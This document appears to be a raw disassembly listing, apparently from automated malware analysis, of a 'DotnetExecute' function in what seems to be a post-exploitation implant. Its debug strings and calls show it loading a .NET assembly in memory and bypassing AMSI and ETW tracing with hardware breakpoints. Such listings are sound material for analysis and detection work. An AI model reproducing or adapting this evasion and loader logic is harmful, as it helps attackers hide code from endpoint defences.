Function at 0x140018b60
Capabilities:
Load assembly via iassembly

Disassembly:
push rbp
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0xf0]
mov rbx, rcx
mov rcx, qword [rbx]
mov rbx, qword [rbx + 8]
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rbx
mov rbx, rdx
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov qword [rbp - 0x90], rax
mov qword [rbp - 0x88], rdx
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x18], 0
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x50], 0
mov dword [rbp - 4], 0
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x20], 0
mov dword [rbp - 8], 0
mov rax, qword [rbp - 0x80]
test rax, rax
je 0x140018c15
mov eax, dword [rbp - 0x78]
test eax, eax
jne 0x140018c1f
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
mov r10, qword [rax + 0x348]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 8]
mov rdx, qword [0x14003d880]
mov rbx, qword [rdx + 0x8d6]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x50000
mov dword [rsp + 0x20], 0x50000
mov r9d, 0xff
mov r8d, 4
mov edx, 0x80003
mov rcx, rax
call r10
mov qword [rbx + 0x48], rax
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0x48]
test rax, rax
jne 0x140018cf4
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8b2]
mov eax, dword [rax + 0x68]
mov r9d, eax
mov r8d, 0x30
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__CreateNamedPipeW_Failed:_Error__d__n
call fcn.140035610
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8b2]
mov eax, dword [rax + 0x68]
mov edx, eax
mov ecx, 1
call fcn.140025160
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
mov r10, qword [rax + 0x328]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 8]
mov rdx, qword [0x14003d880]
mov rbx, qword [rdx + 0x8d6]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x40000000
mov rcx, rax
call r10
mov qword [rbx + 0x50], rax
mov rax, qword [rbx + 0x50]
test rax, rax
jne 0x140018db3
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8b2]
mov eax, dword [rax + 0x68]
mov r9d, eax
mov r8d, 0x38
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__CreateFileW_Failed:_Error__d__n
call fcn.140035610
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8b2]
mov eax, dword [rax + 0x68]
mov edx, eax
mov ecx, 1
call fcn.140025160
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x670]
call rax
test rax, rax
jne 0x140018e18
mov qword [rbp - 0x28], 0
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x660]
call rax
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x670]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
je 0x140018e18
mov rax, qword [0x14003d880]
mov r8, qword [rax + 0x678]
mov rax, qword [rbp - 0x28]
mov edx, 0
mov rcx, rax
call r8
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea r8, [rax + 0xa8]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea rcx, [rax + 0xa0]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea rdx, [rax + 0x98]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0x28]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.140009750
test eax, eax
jne 0x140018ea5
lea r9, str.Couldnt_start_CLR
mov r8d, 0x4b
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
movzx eax, byte [rax + 0xdb]
cmp al, 1
jne 0x14001909b
lea r9, str.Try_to_patch_less__Amsi_Etw
mov r8d, 0x6c
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov eax, dword [rax]
mov edx, eax
mov ecx, 0x2001
call fcn.140024b30
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov edx, 1
mov rcx, rax
call fcn.140024790
mov dword [rbp - 8], 1
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8a2]
test rax, rax
jne 0x140018f2e
call fcn.140028fa0
mov dword [rbp - 8], eax
lea r9, str.Init_HwBp_Engine
mov r8d, 0x77
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov edx, 0
mov ecx, 0
call fcn.14001f4d0
test eax, eax
jns 0x140018f6b
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8b2]
mov rax, qword [rax + 0x48]
mov dword [rbp - 0x1c], eax
cmp dword [rbp - 8], 0
je 0x14001900b
lea r9, str.HwBp_Engine_add_AmsiScanBuffer_bypass
mov r8d, 0x82
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov rax, qword [0x14003d880]
mov rdx, qword [rax + 0x7e0]
mov eax, dword [rbp - 0x1c]
mov dword [rsp + 0x20], 0
mov r9, qword [0x14003d860]
mov r8, rdx
mov edx, eax
mov ecx, 0
call fcn.14001f100
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jns 0x14001900b
mov eax, dword [rbp - 4]
mov r9d, eax
mov r8d, 0x84
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__Failed_adding_exception_to_HwBp_Engine:__08x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
lea r9, str.HwBp_Engine_add_NtTraceEvent_bypass
mov r8d, 0x8a
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov rax, qword [0x14003d880]
mov rdx, qword [rax + 0x2e8]
mov eax, dword [rbp - 0x1c]
mov dword [rsp + 0x20], 1
mov r9, qword [0x14003d870]
mov r8, rdx
mov edx, eax
mov ecx, 0
call fcn.14001f100
test eax, eax
jns 0x140019087
mov eax, dword [rbp - 4]
mov r9d, eax
mov r8d, 0x8c
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__Failed_adding_exception_to_HwBp_Engine:__08x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.140024cb0
mov qword [rbp - 0x10], 0
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov eax, dword [rax]
mov edx, eax
mov ecx, 0x2001
call fcn.140024b30
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov edx, 2
mov rcx, rax
call fcn.140024790
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov eax, dword [rax + 0x30]
mov ecx, eax
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rdx, qword [rax + 0x28]
mov rax, qword [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call fcn.1400246d0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.140024cb0
mov eax, dword [rbp - 0x78]
mov dword [rbp - 0x30], eax
mov dword [rbp - 0x2c], 0
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x510]
mov rdx, qword [0x14003d880]
mov rbx, qword [rdx + 0x8d6]
lea rdx, [rbp - 0x30]
mov r8, rdx
mov edx, 1
mov ecx, 0x11
call rax
mov qword [rbx + 0x88], rax
lea r9, str.CreateDomain...
mov r8d, 0xa5
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xa8]
mov rax, qword [rax]
mov r10, qword [rax + 0x60]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea rcx, [rax + 0xb8]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rdx, qword [rax + 0x18]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xa8]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x140019208
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xa7
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__CreateDomain_Failed:__x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
lea r9, str.QueryInterface...
mov r8d, 0xab
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xb8]
mov rax, qword [rax]
mov r9, qword [rax]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea rdx, [rax + 0xc0]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xb8]
mov r8, rdx
lea rdx, [0x140036e20]
mov rcx, rax
call r9
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x1400192af
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xad
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__QueryInterface_Failed:__x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
mov r8, qword [rax + 0x500]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0x88]
lea rdx, [rbp - 0x40]
mov rcx, rax
call r8
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x14001930e
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xb2
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__SafeArrayAccessData_Failed:__x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
lea r9, str.Copy_assembly_to_buffer...
mov r8d, 0xb6
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov eax, dword [rbp - 0x78]
mov r8d, eax
mov rax, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x40]
mov rcx, rdx
mov rdx, r8
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [0x14003d880]
mov rdx, qword [rax + 0x508]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0x88]
mov rcx, rax
call rdx
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x1400193ba
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xba
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__SafeArrayUnaccessData_Failed:__x_n
call fcn.140035610
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8b2]
mov eax, dword [rax + 0x68]
mov edx, eax
mov ecx, 1
call fcn.140025160
lea r9, str.AppDomain_Load...
mov r8d, 0xbe
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xc0]
mov rax, qword [rax]
mov r9, qword [rax + 0x168]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea rcx, [rax + 0xb0]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rdx, qword [rax + 0x88]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xc0]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x140019473
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xc0
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__AppDomain_Failed:__x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
lea r9, str.Assembly_EntryPoint...
mov r8d, 0xc4
lea rdx, str.DotnetExecute
lea rcx, [0x14003ac2a]
call fcn.140035610
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xb0]
mov rax, qword [rax]
mov r8, qword [rax + 0x80]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea rdx, [rax + 0xc8]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xb0]
mov rcx, rax
call r8
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x140019514
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xc6
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__Assembly_EntryPoint_Failed:__x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x518]
mov rdx, qword [0x14003d880]
mov rbx, qword [rdx + 0x8d6]
mov r8d, 1
mov edx, 0
mov ecx, 0xc
call rax
mov qword [rbx + 0x90], rax
mov rax, qword [0x14003d880]
mov r8, qword [rax + 0x658]
mov rax, qword [rbp - 0x90]
lea rdx, [rbp - 0x44]
mov rcx, rax
call r8
mov qword [rbp - 0x18], rax
add qword [rbp - 0x18], 8
mov eax, dword [rbp - 0x44]
sub eax, 1
mov dword [rbp - 0x44], eax
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov word [rax + 0xd0], 0x2008
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x518]
mov edx, dword [rbp - 0x44]
mov ecx, edx
mov rdx, qword [0x14003d880]
mov rbx, qword [rdx + 0x8d6]
mov r8d, ecx
mov edx, 0
mov ecx, 8
call rax
mov qword [rbx + 0xd8], rax
mov dword [rbp - 0x64], 0
jmp 0x14001966b
mov rax, qword [0x14003d880]
mov rbx, qword [rax + 0x520]
mov rax, qword [0x14003d880]
mov rdx, qword [rax + 0x530]
mov eax, dword [rbp - 0x64]
cdqe
lea rcx, [rax*8]
mov rax, qword [rbp - 0x18]
add rax, rcx
mov rax, qword [rax]
mov rcx, rax
call rdx
mov rcx, rax
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xd8]
lea rdx, [rbp - 0x64]
mov r8, rcx
mov rcx, rax
call rbx
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x140019662
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xd5
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__Args_SafeArrayPutElement_Failed:__x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
mov eax, dword [rbp - 0x64]
add eax, 1
mov dword [rbp - 0x64], eax
mov edx, dword [rbp - 0x64]
mov eax, dword [rbp - 0x44]
cmp edx, eax
jl 0x1400195d4
mov rax, qword [0x14003d880]
mov r9, qword [rax + 0x520]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea rcx, [rax + 0xd0]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0x90]
lea rdx, [rbp - 0x48]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x1400196f0
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xdb
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__SafeArrayPutElement_Failed:__x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x680]
mov rdx, qword [0x14003d880]
mov rbx, qword [rdx + 0x8d6]
mov ecx, 0xfffffff5
call rax
mov qword [rbx + 0x58], rax
mov rax, qword [0x14003d880]
mov r8, qword [rax + 0x688]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0x50]
mov rdx, rax
mov ecx, 0xfffffff5
call r8
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rax, qword [rax + 0xc8]
mov rax, qword [rax]
mov r10, qword [rax + 0x128]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
lea r9, [rax + 0xe8]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov r8, qword [rax + 0x90]
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov rcx, qword [rax + 0xc8]
mov rax, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0xb0], rax
mov qword [rbp - 0xa8], rdx
mov rax, qword [rbp - 0x50]
mov qword [rbp - 0xa0], rax
lea rax, [rbp - 0xb0]
mov rdx, rax
call r10
mov dword [rbp - 0x20], eax
cmp dword [rbp - 0x20], 0
je 0x1400197fd
mov eax, dword [rbp - 0x20]
mov r9d, eax
mov r8d, 0xe3
lea rdx, str.DotnetExecute
lea rcx, str._DEBUG::_s::_d__Invoke_Assembly_Failed:__x_n
call fcn.140035610
mov eax, 0
jmp 0x14001981f
mov rax, qword [0x14003d880]
mov rax, qword [rax + 0x8d6]
mov dword [rax + 0x100], 1
call fcn.140019830
mov eax, 1
add rsp, 0xf8
pop rbx
pop rbp
ret